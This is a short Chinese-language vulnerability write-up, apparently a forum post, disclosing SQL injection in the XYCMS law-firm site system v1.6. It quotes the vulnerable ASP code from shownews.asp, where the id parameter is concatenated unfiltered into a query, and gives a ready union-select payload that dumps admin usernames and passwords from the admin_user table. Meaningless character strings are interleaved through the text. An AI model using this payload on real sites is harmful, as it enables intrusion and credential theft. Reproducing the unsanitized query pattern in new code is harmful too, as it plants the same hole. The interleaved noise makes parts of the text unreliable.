XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

淫荡分割线
+ M3 ?3 x5 x+ Y$ A5 M7 B& o" l. Q--------------------------------------------------------

" m! d6 g+ B# d9 p审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm
- X* O1 d" D$ ~% d
3 E  `' @2 H) w5 R; d漏洞文件:shownews.asp
漏洞代码：7-13行

4 j/ Z& Q9 I7 I3 |: U/ U$ P0 e# s- c
<%
/ j2 p2 t  }$ v" ]( f% Q6 J6 _id=request.QueryString("id")
! p, P8 x4 X6 O) }5 h5 ^0 `   
) }# K8 |3 D0 W! S( ?* oset snews=server.createobject("adodb.recordset")
0 w- |. S0 A' b" u8 n; mexec="select * from [news] where id="&id
: O9 ^/ ^% t( J9 Hsnews.open exec,conn,1,1
7 B9 O/ v, A8 u3 U$ y- ~%>


什么过滤都没有  直造成注入

注入点:http://127.0.0.1:99/shownews.asp?id=xx

1 v' c3 R6 l) Z, O其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
) \$ q& g* x7 Z: a! ~. p
% l: z8 E9 H" m; m$ s
exp: union select 1,admin,password,4,5,7 from admin_user
​